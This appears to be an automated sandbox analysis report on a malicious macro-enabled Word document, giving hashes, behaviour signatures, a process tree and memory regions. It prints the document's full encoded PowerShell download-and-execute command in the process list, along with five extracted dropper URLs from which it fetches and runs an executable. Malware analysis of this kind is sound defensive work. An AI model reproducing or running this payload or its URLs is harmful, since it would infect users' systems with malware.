Analysis

  • max time kernel
    58s
  • max time network
    19s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    20-11-2024 22:16

General

  • Target

    6fd7c22e15c0bd2bd06eb1649bdc81dd45d0e95ced5b271ad4593aab5c5c125f.doc

  • Size

    184KB

  • MD5

    6dab54adf8a12dec748ad9f3b722e7c5

  • SHA1

    ce34c858f627bc4023c4d21866cd4a032cbfea8b

  • SHA256

    6fd7c22e15c0bd2bd06eb1649bdc81dd45d0e95ced5b271ad4593aab5c5c125f

  • SHA512

    daf174e42d3ee986fb1a974a937860fcd3c7685cfae7907e074ff7d1492c5401da20bbcda7d4aa36f41d8a46b9583eec77f958948254b103bc29604616f3ad2d

  • SSDEEP

    3072:/e2y/GdyrktGDWLS0HZWD5w8K7Nk9aD7IBUMoUH9CBjBoax5waA1NWBM0zr:/e2k4TtGiL3HJk9aD7bMoUH9CBjBoax1

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://gobabynames.com/dz6r/xytx7/

exe.dropper

http://nhomkinhthienbinh.com/cgi-bin/yW/

exe.dropper

http://capitalcitycarwash.com/komldk65kd/7tz/

exe.dropper

http://compscischool.com/wp-content/8a1n/

exe.dropper

http://gianphoisonghong.com/wp-includes/AUWxwq1V2s/

Signatures

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\6fd7c22e15c0bd2bd06eb1649bdc81dd45d0e95ced5b271ad4593aab5c5c125f.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2116
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2900
      • C:\Windows\SYSTEM32\WISPTIS.EXE
        "C:\Windows\SYSTEM32\WISPTIS.EXE" /ManualLaunch;
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of SetWindowsHookEx
        PID:2816
      • C:\Windows\SYSTEM32\WISPTIS.EXE
        "C:\Windows\SYSTEM32\WISPTIS.EXE" /ManualLaunch;
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of SetWindowsHookEx
        PID:2920
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABIAG0AaAB5AHoAdABvAHkAaABzAGUAPQAnAFoAeABsAG4AcgBoAHAAdQBwAGIAZQBmACcAOwAkAEEAbABxAGEAYwByAGMAagAgAD0AIAAnADIAMQAwACcAOwAkAEUAaAB5AHEAdwBxAGQAZwBhAHIAPQAnAE0AagBqAHkAeQBtAHMAcQBkAHEAJwA7ACQAQQBhAG4AaABrAHMAaQBwAHMAYwBhAGgAcgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQQBsAHEAYQBjAHIAYwBqACsAJwAuAGUAeABlACcAOwAkAEMAYgB3AHMAawBjAHQAdQBkAGMAPQAnAFQAbgBxAGQAdwBxAGwAdwAnADsAJABKAGkAYgBtAGEAcQB3AHUAbQB0AGcAcwBuAD0ALgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAGUAVAAuAHcAZQBiAEMAbABpAGUAbgB0ADsAJABFAHEAegBhAGYAaABzAGYAYgBhAGsAPQAnAGgAdAB0AHAAOgAvAC8AZwBvAGIAYQBiAHkAbgBhAG0AZQBzAC4AYwBvAG0ALwBkAHoANgByAC8AeAB5AHQAeAA3AC8AKgBoAHQAdABwADoALwAvAG4AaABvAG0AawBpAG4AaAB0AGgAaQBlAG4AYgBpAG4AaAAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHkAVwAvACoAaAB0AHQAcAA6AC8ALwBjAGEAcABpAHQAYQBsAGMAaQB0AHkAYwBhAHIAdwBhAHMAaAAuAGMAbwBtAC8AawBvAG0AbABkAGsANgA1AGsAZAAvADcAdAB6AC8AKgBoAHQAdABwADoALwAvAGMAbwBtAHAAcwBjAGkAcwBjAGgAbwBvAGwALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwA4AGEAMQBuAC8AKgBoAHQAdABwADoALwAvAGcAaQBhAG4AcABoAG8AaQBzAG8AbgBnAGgAbwBuAGcALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEEAVQBXAHgAdwBxADEAVgAyAHMALwAnAC4AIgBTAHAAYABsAEkAdAAiACgAJwAqACcAKQA7ACQARABrAGYAZABnAHMAbgB6AGkAbwBjAG4AbwA9ACcATAB3AHgAeAB5AGcAagBxAGoAZQBsAHYAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEMAagBqAHAAYwBnAHMAaQBmAHEAZgBtACAAaQBuACAAJABFAHEAegBhAGYAaABzAGYAYgBhAGsAKQB7AHQAcgB5AHsAJABKAGkAYgBtAGEAcQB3AHUAbQB0AGcAcwBuAC4AIgBkAGAAbwBgAFcAbgBMAG8AYABBAGQAZgBJAEwAZQAiACgAJABDAGoAagBwAGMAZwBzAGkAZgBxAGYAbQAsACAAJABBAGEAbgBoAGsAcwBpAHAAcwBjAGEAaAByACkAOwAkAE0AZQBpAG0AZgB5AG0AbQBnAHcAYQBnAD0AJwBGAHgAZwB6AHYAagBrAHUAbgB5AHoAcQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAEEAYQBuAGgAawBzAGkAcABzAGMAYQBoAHIAKQAuACIATABFAE4AYABnAGAAVABIACIAIAAtAGcAZQAgADMANQAxADYAMQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABBAHIAVAAiACgAJABBAGEAbgBoAGsAcwBpAHAAcwBjAGEAaAByACkAOwAkAFkAdgB3AHkAZQB2AGoAdQBiAGoAdwBoAHkAPQAnAFcAcgBjAG8AawBtAHkAbAAnADsAYgByAGUAYQBrADsAJABKAHMAcQBrAG0AbwBmAHIAcQA9ACcARABpAHkAegB3AGQAZQBwACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEwAZQBtAGIAaABvAGYAagA9ACcASgB4AHMAdgBjAHMAagBwACcA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2540

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\503AB4CC.wmf

      Filesize

      444B

      MD5

      0f9bf5f945379b915e80be1f4152dc55

      SHA1

      f7014824033e8ae09edc9ddc6a5e27a0fb2049c6

      SHA256

      f0fb58532e4bbc0ab86a64ebbf940cbbadaa04edde4af491257f5d5268dd4ce3

      SHA512

      e878abf82556908ca70efb63e3cb532588df3d415fa88adf82172005c7a74c159603dd90fc52ed30fa0ef8bffebc2fc9f554c061ad931595fa6085fce1af203f

    • memory/2116-25-0x0000000006560000-0x0000000006660000-memory.dmp

      Filesize

      1024KB

    • memory/2116-15-0x0000000006560000-0x0000000006660000-memory.dmp

      Filesize

      1024KB

    • memory/2116-22-0x0000000006560000-0x0000000006660000-memory.dmp

      Filesize

      1024KB

    • memory/2116-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2116-21-0x0000000006560000-0x0000000006660000-memory.dmp

      Filesize

      1024KB

    • memory/2116-16-0x0000000006550000-0x0000000006551000-memory.dmp

      Filesize

      4KB

    • memory/2116-52-0x0000000006560000-0x0000000006660000-memory.dmp

      Filesize

      1024KB

    • memory/2116-27-0x0000000006560000-0x0000000006660000-memory.dmp

      Filesize

      1024KB

    • memory/2116-19-0x0000000006560000-0x0000000006660000-memory.dmp

      Filesize

      1024KB

    • memory/2116-23-0x0000000006560000-0x0000000006660000-memory.dmp

      Filesize

      1024KB

    • memory/2116-26-0x0000000006560000-0x0000000006660000-memory.dmp

      Filesize

      1024KB

    • memory/2116-0-0x000000002F9C1000-0x000000002F9C2000-memory.dmp

      Filesize

      4KB

    • memory/2116-5-0x0000000005D50000-0x0000000005E50000-memory.dmp

      Filesize

      1024KB

    • memory/2116-2-0x00000000719BD000-0x00000000719C8000-memory.dmp

      Filesize

      44KB

    • memory/2116-20-0x0000000006560000-0x0000000006660000-memory.dmp

      Filesize

      1024KB

    • memory/2116-29-0x0000000006560000-0x0000000006660000-memory.dmp

      Filesize

      1024KB

    • memory/2116-51-0x0000000006560000-0x0000000006660000-memory.dmp

      Filesize

      1024KB

    • memory/2116-47-0x0000000006560000-0x0000000006660000-memory.dmp

      Filesize

      1024KB

    • memory/2116-37-0x00000000719BD000-0x00000000719C8000-memory.dmp

      Filesize

      44KB

    • memory/2116-40-0x0000000005D50000-0x0000000005E50000-memory.dmp

      Filesize

      1024KB

    • memory/2116-45-0x0000000006560000-0x0000000006660000-memory.dmp

      Filesize

      1024KB

    • memory/2116-46-0x0000000006550000-0x0000000006551000-memory.dmp

      Filesize

      4KB

    • memory/2540-36-0x0000000001F90000-0x0000000001F98000-memory.dmp

      Filesize

      32KB

    • memory/2540-35-0x000000001B310000-0x000000001B5F2000-memory.dmp

      Filesize

      2.9MB

    • memory/2816-17-0x0000000000130000-0x0000000000131000-memory.dmp

      Filesize

      4KB